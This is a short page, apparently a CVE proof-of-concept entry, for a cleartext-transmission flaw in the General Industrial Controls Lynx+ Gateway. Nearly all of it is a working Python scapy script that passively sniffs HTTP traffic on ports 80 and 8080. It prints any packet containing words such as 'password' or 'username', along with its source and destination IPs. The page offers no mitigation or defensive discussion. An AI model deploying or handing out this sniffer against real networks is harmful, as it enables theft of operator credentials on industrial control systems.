CVE-2025-62765 General Industrial Controls Lynx+ Gateway明文传输漏洞

# CVE-2025-62765 PoC - Lynx+ Gateway明文传输凭证窃取 # This PoC demonstrates passive network sniffing to capture plaintext credentials import scapy.all as scapy from scapy.layers import http def capture_credentials(packet): """ Callback function to process captured packets Looks for HTTP traffic containing authentication data """ if packet.haslayer(http.HTTPRequest): # Extract HTTP layer data http_layer = packet[http.HTTPRequest] # Check for credentials in URL parameters if packet.haslayer(scapy.Raw): payload = packet[scapy.Raw].load.decode('utf-8', errors='ignore') # Look for common credential patterns credential_keywords = ['password', 'pwd', 'passwd', 'user', 'username', 'login', 'credential'] for keyword in credential_keywords: if keyword.lower() in payload.lower(): print(f"[!] Potential credential found in packet:") print(f" URL: {http_layer.Host.decode()}{http_layer.Path.decode()}") print(f" Payload snippet: {payload[:200]}...") print(f" Source IP: {packet[scapy.IP].src}") print(f" Destination IP: {packet[scapy.IP].dst}") print("-" * 80) def start_sniffing(interface='eth0'): """ Start packet sniffing on specified network interface Filter for HTTP traffic (port 80) and HTTPS traffic (port 443) """ print(f"[*] Starting packet capture on interface: {interface}") print(f"[*] Looking for plaintext credentials in network traffic") print(f"[*] Press Ctrl+C to stop capture") # Sniff HTTP traffic (port 80) scapy.sniff(iface=interface, filter='tcp port 80 or tcp port 8080', prn=capture_credentials, store=False) # Usage example if __name__ == "__main__": import sys interface = sys.argv[1] if len(sys.argv) > 1 else 'eth0' start_sniffing(interface)